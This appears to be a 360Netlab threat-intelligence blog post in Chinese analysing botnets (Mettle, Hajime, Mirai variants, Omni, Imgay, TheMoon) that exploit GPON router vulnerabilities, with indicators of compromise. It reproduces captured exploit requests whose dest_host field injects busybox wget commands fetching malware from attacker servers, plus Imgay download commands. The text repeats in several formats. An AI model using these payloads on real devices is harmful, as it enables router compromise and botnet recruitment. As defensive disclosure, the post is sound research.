GPON 漏洞的在野利用（三）——Mettle、Hajime、Mirai、Omni、Imgay、TheMoon
<!--kg-card-begin: markdown--><p>本文由 Hui Wang、LIU Ya、RootKiter、yegenshen 共同撰写。</p>
<p>[更新 2018-05-21 17：30]</p>
<pre><code>这场GPON的聚会看起来永远不会结束了，现在 TheMoon 僵尸网络家族也开始加入了。文中增加了相关的描述。特别值得说明的，TheMoon僵尸网络所使用的攻击漏洞此前并没有批露过，看起来像是个 0day，我们选择不公开攻击载荷的详细内容。另外我们选择了两个版本的 GPON 家用路由器，TheMoon使用的攻击载荷均能成功运行。
</code></pre>
<p>我们在之前的系列文章 <a href="__GHOST_URL__/gpon-exploit-in-the-wild-i-muhstik-botnet-among-others/">一</a> 和 <a href="__GHOST_URL__/gpon-exploit-in-the-wild-ii-satori-botnet/">二</a> 里提及，在本次GPON漏洞（CVE-2018-10561，CVE-2018-10562）公布以来，10天内已经有至少5个僵尸网络家族在积极利用该漏洞构建其僵尸军团，包括 mettle、muhstik、mirai、hajime、satori，等等。这些各路僵尸网络一拥而上，争抢地盘，w为 IoT 僵尸网络研究者们提供了一个绝佳的近距离观察机会。</p>
<p>在我们的观察中，一个有趣的地方是各僵尸网络的漏洞利用代码均只能影响一小部分（估计大约 2%） GPON 家用路由器。如此一来，最终被控制的设备数量大大减少，广大 GPON 家用路由器用户暂且躲过一劫。但是管理员们仍需保持警惕，在现有条件下，各恶意代码团伙正保持积极的开发活动，其代码修正只需要很短的时间。</p>
<p>我们360网络安全研究院在保持观察的同时，也与安全社区一起，采取了行动抑制 muhstik 僵尸网络的扩散。但是 muhstik 恶意代码团伙并不愿意轻易放弃，他们一次次尝试卷土重来。后续发展，还请读者拭目以待。</p>
<p>在本篇文章里，我们会依次介绍其他的僵尸网络：</p>
<ul>
<li><strong>Mettle</strong>：一个恶意代码团伙，基于在越南的IP地址 （C2 210.245.26.180:4441，scanner 118.70.80.143）和mettle开源控制模块</li>
<li><strong>Hajime</strong>：<strong>Hajime</strong>的本次更新也包含了 GPON 本次的漏洞利用</li>
<li><strong>两个Mirai变种</strong>：至少两个恶意代码团伙正在积极利用该漏洞传播mirai变种。其中第二个，已经被称为 <a href="https://blog.newskysecurity.com/cve-2018-10561-dasan-gpon-exploit-weaponized-in-omni-and-muhstik-botnets-ad7b1f89cff3">omni</a>。</li>
<li><strong>Imgay</strong>：这看起来是一个正在开发中的僵尸网络，我们只观察到了下载行为，没有看到后续动作。</li>
<li><strong>TheMoon</strong>: <strong>TheMoon</strong> 家族我们在之前的 <a href="__GHOST_URL__/themoon-botnet-a-review-and-new-features/">文章</a> 中提到过。该恶意代码家族至少在2014年就开始活跃，当时针对Linksys E1000 系列路由器，并在后续持续发展。从2017年开始，该恶意代码继续集成了至少 6 种6 种 IoT 设备漏洞利用手段。现在，2018-05-21，TheMoon家族加入了 GPON 设备的争夺大战。</li>
</ul>
<h4 id="mettle">Mettle</h4>
<p>mettle，这个恶意代码团伙的C2，如我们之前提及，在这一波的攻击中，短暂出现后就下线了。这个恶意代码团伙的特征包括：</p>
<ul>
<li><strong>扫描器IP</strong>  : 118.70.80.143 Vietnam/VN Hanoi	&quot;AS18403 The Corporation for Financing &amp; Promoting Technology&quot;</li>
<li><strong>C2服务器</strong>: 210.245.26.180:4441 Vietnam/VN Ho Chi Minh City	&quot;AS18403 The Corporation for Financing &amp; Promoting Technology&quot;</li>
<li><strong>下载服务器</strong>：利用了上述C2服务器的 80 端口</li>
<li><strong>恶意软件（下载器）样本hash</strong>:  8e2c6a92a024f8b8bb3c086b86fa50f9</li>
<li>上述下载器会下载<strong>开源渗透测试工具mettle</strong>，一个metasploit的衍生版本，随后目标设备会被C2服务器远程控制</li>
</ul>
<p>另外，当完成漏洞利用后，控制者还会修改 Gpon 路由器原有iptables 规则，封堵 TCP 80 和 443 端口流量。通常可以认为这是恶意代码在试图阻止其他恶意代码的进入。部分 iptables 规则如下示例：</p>
<pre><code>-A ACL -p tcp -m tcp --dport 80 -j DROP
-A ACL -p tcp -m tcp --dport 23 -j DROP
-A ACL -p tcp -m tcp --dport 22 -j DROP
-A ACL -p tcp -m tcp --dport 21 -j DROP 
-A ACL -p tcp -m tcp --dport 443 -j DROP
</code></pre>
<p>我们并未直接观察到 mettle 的攻击载荷，但是我们注意到该IP地址在历史曾经与其他恶意代码相关。有兴趣的读者可以尝试继续展开搜索。</p>
<h4 id="hajime">Hajime</h4>
<p>Hajime 家族本次更新的特征包括：</p>
<ul>
<li><strong>文件名</strong>：atk.mipseb.1525838286</li>
<li><strong>原始Hash</strong>: 8CCA32FB1FE4826007B087B4AEE20941</li>
<li><strong>脱壳前Hash</strong>: ED1306E24196533553571D5433312A2D</li>
<li><strong>脱壳后Hash</strong>: E06E1E7993EA310CE0FBA9DD76CDF377</li>
<li><strong>端口目标</strong>：23,80,8080</li>
<li><strong>新的 Payload(GPON)</strong>：hxxps://www.exploit-db.com/exploits/44576/</li>
</ul>
<p>该样本中的GPON漏洞利用代码截图如下：<br>
<img src="__GHOST_URL__/content/images/2018/05/hajime-with-gpon-updated.png" alt="" loading="lazy"></p>
<p>更新后的 atk.mpseb 模块可以同时对 TCP 23，80，8080 发起扫描：<br>
<img src="__GHOST_URL__/content/images/2018/05/hajime-with-gpon-updated-scanning-port.png" alt="" loading="lazy"></p>
<h4 id="mirai1">Mirai 变种 1</h4>
<p>该mirai变种的特征包括：</p>
<ul>
<li>扫描器IP  : 46.243.189.60 Netherlands/NL &quot;AS205406 Hostio Solutions B.V.&quot;</li>
<li>C2服务器: 46.243.189.102:127  Netherlands/NL &quot;AS205406 Hostio Solutions B.V.&quot;</li>
<li>下载服务器：共用了上述IP地址的 80 端口</li>
<li>恶意软件样本hash:  c6dc9f7cf09a267fefe53c5c481e7ea0</li>
</ul>
<p>所使用的攻击载荷如下：</p>
<pre><code>POST /GponForm/diag_Form?images/ HTTP/1.1
User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.27.1 zlib/1.2.3 libidn/1.18 libssh2/1.4.2
Host: {target}
Accept: */*
Content-Length: 138
Content-Type: application/x-www-form-urlencoded

XWebPageName=diag&amp;diag_action=ping&amp;wan_conlist=0&amp;dest_host=`busybox+wget+hxxp://46.243.189.102/`;busybox+wget+hxxp://46.243.189.102/&amp;ipv=0
</code></pre>
<p>这个mirai变种对应的 C2 服务器已经长期被我们监控。这个C2会发出DDoS攻击指令，并且比较活跃。我们首次监控到其发出DDoS攻击指令的时间是 2018-01-26 13:10:20。下图是其每日发出的攻击指令的条数变化曲线：</p>
<p><img src="__GHOST_URL__/content/images/2018/05/mirai-variant-1-attack-command.png" alt="" loading="lazy"></p>
<p>受害者方面，由于其攻击指令较多，我们仅列出部分流行的站点，包括：check-host.net，incapsula.com，moz.com，opskins.com，pastebin.com，roblox.com，seznam.cz，store.playstation.com，www.kinguin.net，等等。</p>
<p><img src="__GHOST_URL__/content/images/2018/05/mirai-variant-1-attack-command-detail.png" alt="" loading="lazy"></p>
<h4 id="mirai2omni">Mirai 变种 2  - Omni</h4>
<p>newskysecurity 的研究员已经将该变种命名为 <a href="https://blog.newskysecurity.com/cve-2018-10561-dasan-gpon-exploit-weaponized-in-omni-and-muhstik-botnets-ad7b1f89cff3">omni</a>，其描述与我们的观察比较一致。</p>
<p>在本轮攻击中，omni使用的攻击载荷是：</p>
<pre><code>POST /GponForm/diag_Form?images/ HTTP/1.1
Host: {target}
Content-Length: 120
User-Agent: python-requests/2.6.0 CPython/2.7.5 Linux/4.4.127-mainline-rev1
Connection: keep-alive
Accept: */*
Accept-Encoding: gzip, deflate

XWebPageName=diag&amp;diag_action=ping&amp;wan_conlist=0&amp;dest_host=`busybox+wget+hxxp://185.246.152.173/omni+-O+/tmp/talk`&amp;ipv=0
</code></pre>
<p>该僵尸网络的特征包括：</p>
<ul>
<li>下载服务器 URL ：hxxp://185.246.152.173/omni</li>
<li>C2 服务器：185.246.152.173:1000</li>
<li>Scanner IP 地址：51.15.106.135</li>
</ul>
<p>历史上该C2就传播过多个mirai变种，包括owari、xOwari、s-owari、sora、omni。并且该C2编译的mirai变种支持多种CPU架构，除了通常 mirai 变种都支持的 arm、mips、mpsl、mipsl、x86、spc之外，还支持了之前社区广泛关注的 arc CPU架构。</p>
<p>另外一个有趣的地方是该僵尸网络对外界传递的两条信息。一条信息保存在该服务器上（hxxp://185.246.152.173/meme）。当前该URL已经不可访问，其历史截图如下。图片主体由知名安全博客博主 <a href="https://krebsonsecurity.com/">brian krebs</a> 的头像与电影《黑客帝国》剧照合并而成：<br>
<img src="__GHOST_URL__/content/images/2018/05/omni-krebs-gmail.png" alt="" loading="lazy"></p>
<p>页面的文字内容如下。其中包含一个邮件地址 <a href="mailto:krebsonsecurity@gamil.com">krebsonsecurity@gamil.com</a>，注意这并非是 Brian Krebs 本人的邮箱地址。</p>
<pre><code>Hey you, stop right there!
Want your router fixed? No problem! Send an email to krebsonsecurity@gamil.com and we will have it fixed asap!
~ scarface is your daddy ~
</code></pre>
<p>另一条信息保存在样本中，留下了一个twitter帐号 @1337Wicked :<br>
<img src="__GHOST_URL__/content/images/2018/05/sora-author-info.png" alt="" loading="lazy"></p>
<pre><code>md5hash: 5A8F7B3E3A981BBDD42AEE4DA6EEAAB8
message: Botnet officially ran by Ankit Anubhav and hosted on newskysecurity.com [If your reversing this follow @1337Wicked on twitter
</code></pre>
<h4 id="imgay">Imgay</h4>
<p>Imgay 是另外一个僵尸网络，其传播的恶意代码 URL 如下：</p>
<pre><code>hxxp://149.28.96.126/imgay
</code></pre>
<p>该恶意代码会访问如下地址，但之后该恶意代码就结束了，没有看到后续活动。</p>
<pre><code>wget hxxp://149.28.96.126/loaded/killy &gt; /dev/null 2&gt;&amp;1
wget hxxp://149.28.96.126/pid_max/%s &gt; /dev/null 2&gt;&amp;1
wget hxxp://149.28.96.126/pid_max/default &gt; /dev/null 2&gt;&amp;1
wget hxxp://149.28.96.126/killed/%i &gt; /dev/null 2&gt;&amp;1
</code></pre>
<h4 id="themoon">The Moon 僵尸网络家族</h4>
<p>关于该僵尸网络可以阅读我们之前的 <a href="__GHOST_URL__/themoon-botnet-a-review-and-new-features/">文章</a> 。由于我们之前提过，TheMoon使用的这个漏洞一定程度上可以算过 0day，各管理员需要特别注意该家族。出于避免漏洞扩散的原因，我们暂时不会公开这个攻击载荷的详细信息。</p>
<p>该恶意家族的特征包括：</p>
<ul>
<li><strong>Scanner IP</strong>: 177.141.64.108 Brazil/BR São Paulo	&quot;AS28573 CLARO S.A.&quot;</li>
<li><strong>扫描端口</strong>：80，8080，81，82，8888</li>
<li><strong>下载服务器</strong>:domstates.su ，我们使用该域名将本次攻击与 TheMoon 家族联系起来</li>
</ul>
<p>攻击载荷</p>
<pre><code>POST /--------/--------?---------/ HTTP/1.1
Accept: */*
Host: {}
User-Agent: Wget(linux)
Content-Length: 287
Content-Type: application/x-www-form-urlencoded
-------------------------------------------------------------
hxxp://domstates.su/gpon.sh 
</code></pre>
<h4 id="">联系我们</h4>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者在微信公众号 <strong>360Netlab</strong> 上联系我们。</p>
<h4 id="ioc">Ioc</h4>
<p>Mettle</p>
<pre><code>118.70.80.143 Vietnam/VN Hanoi &quot;AS18403 The Corporation for Financing &amp; Promoting Technology&quot; scanner IP
210.245.26.180:4441 Vietnam/VN Ho Chi Minh City &quot;AS18403 The Corporation for Financing &amp; Promoting Technology&quot; c2
8e2c6a92a024f8b8bb3c086b86fa50f9  malware hash
</code></pre>
<p>Hajime</p>
<pre><code>atk.mipseb.1525838286   file name
8CCA32FB1FE4826007B087B4AEE20941  hash original
ED1306E24196533553571D5433312A2D  hash before unpack
E06E1E7993EA310CE0FBA9DD76CDF377  hash after unpack
</code></pre>
<p>Mira variant #1</p>
<pre><code>46.243.189.60 Netherlands/NL &quot;AS205406 Hostio Solutions B.V.&quot; scanner IP
46.243.189.102:127 Netherlands/NL &quot;AS205406 Hostio Solutions B.V.&quot; C2 ip
c6dc9f7cf09a267fefe53c5c481e7ea0   malware hash
</code></pre>
<p>Omni</p>
<pre><code>185.246.152.173:1000 Netherlands/NL &quot;AS56630 Melbikomas UAB&quot; C2 
51.15.106.135 France/FR	&quot;AS12876 Online S.a.s.&quot;   scanner IP
hxxp://185.246.152.173/omni malware download URL
</code></pre>
<p>Omni 的历史恶意代码下载链接</p>
<pre><code>hxxp://185.246.152.173:80/bins/spc.omni
hxxp://185.246.152.173:80/bins/sora.spc
hxxp://185.246.152.173:80/bins/sora.sh4
hxxp://185.246.152.173:80/bins/sora.arm6
hxxp://185.246.152.173:80/bins/sora.arm5
hxxp://185.246.152.173:80/bins/s-owari.spc
hxxp://185.246.152.173:80/bins/s-owari.mpsl
hxxp://185.246.152.173:80/bins/s-owari.m68k
hxxp://185.246.152.173:80/bins/s-owari.arm
hxxp://185.246.152.173:80/bins/s-owari.arm7
hxxp://185.246.152.173:80/bins/s-owari.arc
hxxp://185.246.152.173:80/bins/owari.x86
hxxp://185.246.152.173:80/bins/owari.spc
hxxp://185.246.152.173:80/bins/owari.mpsl
hxxp://185.246.152.173:80/bins/owari.mips
hxxp://185.246.152.173:80/bins/owari.i586
hxxp://185.246.152.173:80/bins/owari.arm
hxxp://185.246.152.173:80/bins/owari.arm7
hxxp://185.246.152.173:80/bins/owari.arm5
hxxp://185.246.152.173:80/bins/owari.arm4
hxxp://185.246.152.173:80/bins/mpsl.omni
hxxp://185.246.152.173:80/bins/mips.owari
hxxp://185.246.152.173:80/bins/mips.omni
hxxp://185.246.152.173:80/bins/arm7.omni
hxxp://185.246.152.173:80/bins/arm6.omni
hxxp://185.246.152.173:80/bins/arc.omni
hxxp://185.246.152.173:80/bins/Owari.x86
hxxp://185.246.152.173:80/bins/Owari.spc
hxxp://185.246.152.173:80/bins/Owari.sh4
hxxp://185.246.152.173:80/bins/Owari.mpsl
hxxp://185.246.152.173:80/bins/Owari.mips1
hxxp://185.246.152.173:80/bins/Owari.m68k
hxxp://185.246.152.173:80/bins/Owari.arm7
hxxp://185.246.152.173:80/bins/Owari.arm6
hxxp://185.246.152.173/xOwari.sh
hxxp://185.246.152.173/bins/x86.omni
hxxp://185.246.152.173/bins/scan.x86
hxxp://185.246.152.173/bins/s-owari.ppc
hxxp://185.246.152.173/bins/s-owari.mpsl
hxxp://185.246.152.173/bins/s-owari.arm
hxxp://185.246.152.173/bins/s-owari.arm7
hxxp://185.246.152.173/bins/owari.spc
hxxp://185.246.152.173/bins/owari.sh4
hxxp://185.246.152.173/bins/owari.mips
hxxp://185.246.152.173/bins/owari.m68k
hxxp://185.246.152.173/bins/owari.arm
hxxp://185.246.152.173/bins/owari.arm7
hxxp://185.246.152.173/bins/nocpu.x86
hxxp://185.246.152.173/bins/nocpu.mips
hxxp://185.246.152.173/41ai.sh
</code></pre>
<p>TheMoon</p>
<pre><code>md5=17fb1bfae44a9008a4c9b4bdc6b327bd    url=hxxp://domstates.su/.nttpd,1-mips-be-t3-z
md5=299919e8a5b4c8592db0c47207935b69    url=hxxp://domstates.su/gpon.sh
</code></pre>
<!--kg-card-end: markdown-->
本文由 Hui Wang、LIU Ya、RootKiter、yegenshen 共同撰写。


[更新 2018-05-21 17：30]


这场GPON的聚会看起来永远不会结束了，现在 TheMoon 僵尸网络家族也开始加入了。文中增加了相关的描述。特别值得说明的，TheMoon僵尸网络所使用的攻击漏洞此前并没有批露过，看起来像是个 0day，我们选择不公开攻击载荷的详细内容。另外我们选择了两个版本的 GPON 家用路由器，TheMoon使用的攻击载荷均能成功运行。



我们在之前的系列文章 一 和 二 里提及，在本次GPON漏洞（CVE-2018-10561，CVE-2018-10562）公布以来，10天内已经有至少5个僵尸网络家族在积极利用该漏洞构建其僵尸军团，包括 mettle、muhstik、mirai、hajime、satori，等等。这些各路僵尸网络一拥而上，争抢地盘，w为 IoT 僵尸网络研究者们提供了一个绝佳的近距离观察机会。


在我们的观察中，一个有趣的地方是各僵尸网络的漏洞利用代码均只能影响一小部分（估计大约 2%） GPON 家用路由器。如此一来，最终被控制的设备数量大大减少，广大 GPON 家用路由器用户暂且躲过一劫。但是管理员们仍需保持警惕，在现有条件下，各恶意代码团伙正保持积极的开发活动，其代码修正只需要很短的时间。


我们360网络安全研究院在保持观察的同时，也与安全社区一起，采取了行动抑制 muhstik 僵尸网络的扩散。但是 muhstik 恶意代码团伙并不愿意轻易放弃，他们一次次尝试卷土重来。后续发展，还请读者拭目以待。


在本篇文章里，我们会依次介绍其他的僵尸网络：


 * Mettle：一个恶意代码团伙，基于在越南的IP地址 （C2 210.245.26.180:4441，scanner 118.70.80.143）和mettle开源控制模块
 * Hajime：Hajime的本次更新也包含了 GPON 本次的漏洞利用
 * 两个Mirai变种：至少两个恶意代码团伙正在积极利用该漏洞传播mirai变种。其中第二个，已经被称为 omni。
 * Imgay：这看起来是一个正在开发中的僵尸网络，我们只观察到了下载行为，没有看到后续动作。
 * TheMoon: TheMoon 家族我们在之前的 文章 中提到过。该恶意代码家族至少在2014年就开始活跃，当时针对Linksys E1000 系列路由器，并在后续持续发展。从2017年开始，该恶意代码继续集成了至少 6 种6 种 IoT 设备漏洞利用手段。现在，2018-05-21，TheMoon家族加入了 GPON 设备的争夺大战。


Mettle


mettle，这个恶意代码团伙的C2，如我们之前提及，在这一波的攻击中，短暂出现后就下线了。这个恶意代码团伙的特征包括：


 * 扫描器IP : 118.70.80.143 Vietnam/VN Hanoi "AS18403 The Corporation for Financing & Promoting Technology"
 * C2服务器: 210.245.26.180:4441 Vietnam/VN Ho Chi Minh City "AS18403 The Corporation for Financing & Promoting Technology"
 * 下载服务器：利用了上述C2服务器的 80 端口
 * 恶意软件（下载器）样本hash: 8e2c6a92a024f8b8bb3c086b86fa50f9
 * 上述下载器会下载开源渗透测试工具mettle，一个metasploit的衍生版本，随后目标设备会被C2服务器远程控制


另外，当完成漏洞利用后，控制者还会修改 Gpon 路由器原有iptables 规则，封堵 TCP 80 和 443 端口流量。通常可以认为这是恶意代码在试图阻止其他恶意代码的进入。部分 iptables 规则如下示例：


-A ACL -p tcp -m tcp --dport 80 -j DROP
-A ACL -p tcp -m tcp --dport 23 -j DROP
-A ACL -p tcp -m tcp --dport 22 -j DROP
-A ACL -p tcp -m tcp --dport 21 -j DROP 
-A ACL -p tcp -m tcp --dport 443 -j DROP



我们并未直接观察到 mettle 的攻击载荷，但是我们注意到该IP地址在历史曾经与其他恶意代码相关。有兴趣的读者可以尝试继续展开搜索。


Hajime


Hajime 家族本次更新的特征包括：


 * 文件名：atk.mipseb.1525838286
 * 原始Hash: 8CCA32FB1FE4826007B087B4AEE20941
 * 脱壳前Hash: ED1306E24196533553571D5433312A2D
 * 脱壳后Hash: E06E1E7993EA310CE0FBA9DD76CDF377
 * 端口目标：23,80,8080
 * 新的 Payload(GPON)：hxxps://www.exploit-db.com/exploits/44576/


该样本中的GPON漏洞利用代码截图如下：




更新后的 atk.mpseb 模块可以同时对 TCP 23，80，8080 发起扫描：




Mirai 变种 1


该mirai变种的特征包括：


 * 扫描器IP : 46.243.189.60 Netherlands/NL "AS205406 Hostio Solutions B.V."
 * C2服务器: 46.243.189.102:127 Netherlands/NL "AS205406 Hostio Solutions B.V."
 * 下载服务器：共用了上述IP地址的 80 端口
 * 恶意软件样本hash: c6dc9f7cf09a267fefe53c5c481e7ea0


所使用的攻击载荷如下：


POST /GponForm/diag_Form?images/ HTTP/1.1
User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.27.1 zlib/1.2.3 libidn/1.18 libssh2/1.4.2
Host: {target}
Accept: */*
Content-Length: 138
Content-Type: application/x-www-form-urlencoded

XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+hxxp://46.243.189.102/`;busybox+wget+hxxp://46.243.189.102/&ipv=0



这个mirai变种对应的 C2 服务器已经长期被我们监控。这个C2会发出DDoS攻击指令，并且比较活跃。我们首次监控到其发出DDoS攻击指令的时间是 2018-01-26 13:10:20。下图是其每日发出的攻击指令的条数变化曲线：





受害者方面，由于其攻击指令较多，我们仅列出部分流行的站点，包括：check-host.net，incapsula.com，moz.com，opskins.com，pastebin.com，roblox.com，seznam.cz，store.playstation.com，www.kinguin.net，等等。





Mirai 变种 2 - Omni


newskysecurity 的研究员已经将该变种命名为 omni，其描述与我们的观察比较一致。


在本轮攻击中，omni使用的攻击载荷是：


POST /GponForm/diag_Form?images/ HTTP/1.1
Host: {target}
Content-Length: 120
User-Agent: python-requests/2.6.0 CPython/2.7.5 Linux/4.4.127-mainline-rev1
Connection: keep-alive
Accept: */*
Accept-Encoding: gzip, deflate

XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+hxxp://185.246.152.173/omni+-O+/tmp/talk`&ipv=0



该僵尸网络的特征包括：


 * 下载服务器 URL ：hxxp://185.246.152.173/omni
 * C2 服务器：185.246.152.173:1000
 * Scanner IP 地址：51.15.106.135


历史上该C2就传播过多个mirai变种，包括owari、xOwari、s-owari、sora、omni。并且该C2编译的mirai变种支持多种CPU架构，除了通常 mirai 变种都支持的 arm、mips、mpsl、mipsl、x86、spc之外，还支持了之前社区广泛关注的 arc CPU架构。


另外一个有趣的地方是该僵尸网络对外界传递的两条信息。一条信息保存在该服务器上（hxxp://185.246.152.173/meme）。当前该URL已经不可访问，其历史截图如下。图片主体由知名安全博客博主 brian krebs 的头像与电影《黑客帝国》剧照合并而成：




页面的文字内容如下。其中包含一个邮件地址 krebsonsecurity@gamil.com，注意这并非是 Brian Krebs 本人的邮箱地址。


Hey you, stop right there!
Want your router fixed? No problem! Send an email to krebsonsecurity@gamil.com and we will have it fixed asap!
~ scarface is your daddy ~



另一条信息保存在样本中，留下了一个twitter帐号 @1337Wicked :




md5hash: 5A8F7B3E3A981BBDD42AEE4DA6EEAAB8
message: Botnet officially ran by Ankit Anubhav and hosted on newskysecurity.com [If your reversing this follow @1337Wicked on twitter



Imgay


Imgay 是另外一个僵尸网络，其传播的恶意代码 URL 如下：


hxxp://149.28.96.126/imgay



该恶意代码会访问如下地址，但之后该恶意代码就结束了，没有看到后续活动。


wget hxxp://149.28.96.126/loaded/killy > /dev/null 2>&1
wget hxxp://149.28.96.126/pid_max/%s > /dev/null 2>&1
wget hxxp://149.28.96.126/pid_max/default > /dev/null 2>&1
wget hxxp://149.28.96.126/killed/%i > /dev/null 2>&1



The Moon 僵尸网络家族


关于该僵尸网络可以阅读我们之前的 文章 。由于我们之前提过，TheMoon使用的这个漏洞一定程度上可以算过 0day，各管理员需要特别注意该家族。出于避免漏洞扩散的原因，我们暂时不会公开这个攻击载荷的详细信息。


该恶意家族的特征包括：


 * Scanner IP: 177.141.64.108 Brazil/BR São Paulo "AS28573 CLARO S.A."
 * 扫描端口：80，8080，81，82，8888
 * 下载服务器:domstates.su ，我们使用该域名将本次攻击与 TheMoon 家族联系起来


攻击载荷


POST /--------/--------?---------/ HTTP/1.1
Accept: */*
Host: {}
User-Agent: Wget(linux)
Content-Length: 287
Content-Type: application/x-www-form-urlencoded
-------------------------------------------------------------
hxxp://domstates.su/gpon.sh 



联系我们


感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab 上联系我们。


Ioc


Mettle


118.70.80.143 Vietnam/VN Hanoi "AS18403 The Corporation for Financing & Promoting Technology" scanner IP
210.245.26.180:4441 Vietnam/VN Ho Chi Minh City "AS18403 The Corporation for Financing & Promoting Technology" c2
8e2c6a92a024f8b8bb3c086b86fa50f9  malware hash



Hajime


atk.mipseb.1525838286   file name
8CCA32FB1FE4826007B087B4AEE20941  hash original
ED1306E24196533553571D5433312A2D  hash before unpack
E06E1E7993EA310CE0FBA9DD76CDF377  hash after unpack



Mira variant #1


46.243.189.60 Netherlands/NL "AS205406 Hostio Solutions B.V." scanner IP
46.243.189.102:127 Netherlands/NL "AS205406 Hostio Solutions B.V." C2 ip
c6dc9f7cf09a267fefe53c5c481e7ea0   malware hash



Omni


185.246.152.173:1000 Netherlands/NL "AS56630 Melbikomas UAB" C2 
51.15.106.135 France/FR	"AS12876 Online S.a.s."   scanner IP
hxxp://185.246.152.173/omni malware download URL



Omni 的历史恶意代码下载链接


hxxp://185.246.152.173:80/bins/spc.omni
hxxp://185.246.152.173:80/bins/sora.spc
hxxp://185.246.152.173:80/bins/sora.sh4
hxxp://185.246.152.173:80/bins/sora.arm6
hxxp://185.246.152.173:80/bins/sora.arm5
hxxp://185.246.152.173:80/bins/s-owari.spc
hxxp://185.246.152.173:80/bins/s-owari.mpsl
hxxp://185.246.152.173:80/bins/s-owari.m68k
hxxp://185.246.152.173:80/bins/s-owari.arm
hxxp://185.246.152.173:80/bins/s-owari.arm7
hxxp://185.246.152.173:80/bins/s-owari.arc
hxxp://185.246.152.173:80/bins/owari.x86
hxxp://185.246.152.173:80/bins/owari.spc
hxxp://185.246.152.173:80/bins/owari.mpsl
hxxp://185.246.152.173:80/bins/owari.mips
hxxp://185.246.152.173:80/bins/owari.i586
hxxp://185.246.152.173:80/bins/owari.arm
hxxp://185.246.152.173:80/bins/owari.arm7
hxxp://185.246.152.173:80/bins/owari.arm5
hxxp://185.246.152.173:80/bins/owari.arm4
hxxp://185.246.152.173:80/bins/mpsl.omni
hxxp://185.246.152.173:80/bins/mips.owari
hxxp://185.246.152.173:80/bins/mips.omni
hxxp://185.246.152.173:80/bins/arm7.omni
hxxp://185.246.152.173:80/bins/arm6.omni
hxxp://185.246.152.173:80/bins/arc.omni
hxxp://185.246.152.173:80/bins/Owari.x86
hxxp://185.246.152.173:80/bins/Owari.spc
hxxp://185.246.152.173:80/bins/Owari.sh4
hxxp://185.246.152.173:80/bins/Owari.mpsl
hxxp://185.246.152.173:80/bins/Owari.mips1
hxxp://185.246.152.173:80/bins/Owari.m68k
hxxp://185.246.152.173:80/bins/Owari.arm7
hxxp://185.246.152.173:80/bins/Owari.arm6
hxxp://185.246.152.173/xOwari.sh
hxxp://185.246.152.173/bins/x86.omni
hxxp://185.246.152.173/bins/scan.x86
hxxp://185.246.152.173/bins/s-owari.ppc
hxxp://185.246.152.173/bins/s-owari.mpsl
hxxp://185.246.152.173/bins/s-owari.arm
hxxp://185.246.152.173/bins/s-owari.arm7
hxxp://185.246.152.173/bins/owari.spc
hxxp://185.246.152.173/bins/owari.sh4
hxxp://185.246.152.173/bins/owari.mips
hxxp://185.246.152.173/bins/owari.m68k
hxxp://185.246.152.173/bins/owari.arm
hxxp://185.246.152.173/bins/owari.arm7
hxxp://185.246.152.173/bins/nocpu.x86
hxxp://185.246.152.173/bins/nocpu.mips
hxxp://185.246.152.173/41ai.sh



TheMoon


md5=17fb1bfae44a9008a4c9b4bdc6b327bd    url=hxxp://domstates.su/.nttpd,1-mips-be-t3-z
md5=299919e8a5b4c8592db0c47207935b69    url=hxxp://domstates.su/gpon.sh


{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"本文由 Hui Wang、LIU Ya、RootKiter、yegenshen 共同撰写。\n\n[更新 2018-05-21 17：30]\n```\n这场GPON的聚会看起来永远不会结束了，现在 TheMoon 僵尸网络家族也开始加入了。文中增加了相关的描述。特别值得说明的，TheMoon僵尸网络所使用的攻击漏洞此前并没有批露过，看起来像是个 0day，我们选择不公开攻击载荷的详细内容。另外我们选择了两个版本的 GPON 家用路由器，TheMoon使用的攻击载荷均能成功运行。\n```\n\n我们在之前的系列文章 [一](__GHOST_URL__/gpon-exploit-in-the-wild-i-muhstik-botnet-among-others/) 和 [二](__GHOST_URL__/gpon-exploit-in-the-wild-ii-satori-botnet/) 里提及，在本次GPON漏洞（CVE-2018-10561，CVE-2018-10562）公布以来，10天内已经有至少5个僵尸网络家族在积极利用该漏洞构建其僵尸军团，包括 mettle、muhstik、mirai、hajime、satori，等等。这些各路僵尸网络一拥而上，争抢地盘，w为 IoT 僵尸网络研究者们提供了一个绝佳的近距离观察机会。\n\n在我们的观察中，一个有趣的地方是各僵尸网络的漏洞利用代码均只能影响一小部分（估计大约 2%） GPON 家用路由器。如此一来，最终被控制的设备数量大大减少，广大 GPON 家用路由器用户暂且躲过一劫。但是管理员们仍需保持警惕，在现有条件下，各恶意代码团伙正保持积极的开发活动，其代码修正只需要很短的时间。\n\n我们360网络安全研究院在保持观察的同时，也与安全社区一起，采取了行动抑制 muhstik 僵尸网络的扩散。但是 muhstik 恶意代码团伙并不愿意轻易放弃，他们一次次尝试卷土重来。后续发展，还请读者拭目以待。\n\n在本篇文章里，我们会依次介绍其他的僵尸网络：\n\n - **Mettle**：一个恶意代码团伙，基于在越南的IP地址 （C2 210.245.26.180:4441，scanner 118.70.80.143）和mettle开源控制模块\n - **Hajime**：**Hajime**的本次更新也包含了 GPON 本次的漏洞利用\n - **两个Mirai变种**：至少两个恶意代码团伙正在积极利用该漏洞传播mirai变种。其中第二个，已经被称为 [omni](https://blog.newskysecurity.com/cve-2018-10561-dasan-gpon-exploit-weaponized-in-omni-and-muhstik-botnets-ad7b1f89cff3)。\n - **Imgay**：这看起来是一个正在开发中的僵尸网络，我们只观察到了下载行为，没有看到后续动作。\n - **TheMoon**: **TheMoon** 家族我们在之前的 [文章](__GHOST_URL__/themoon-botnet-a-review-and-new-features/) 中提到过。该恶意代码家族至少在2014年就开始活跃，当时针对Linksys E1000 系列路由器，并在后续持续发展。从2017年开始，该恶意代码继续集成了至少 6 种6 种 IoT 设备漏洞利用手段。现在，2018-05-21，TheMoon家族加入了 GPON 设备的争夺大战。\n\n#### Mettle\n\nmettle，这个恶意代码团伙的C2，如我们之前提及，在这一波的攻击中，短暂出现后就下线了。这个恶意代码团伙的特征包括：\n\n - 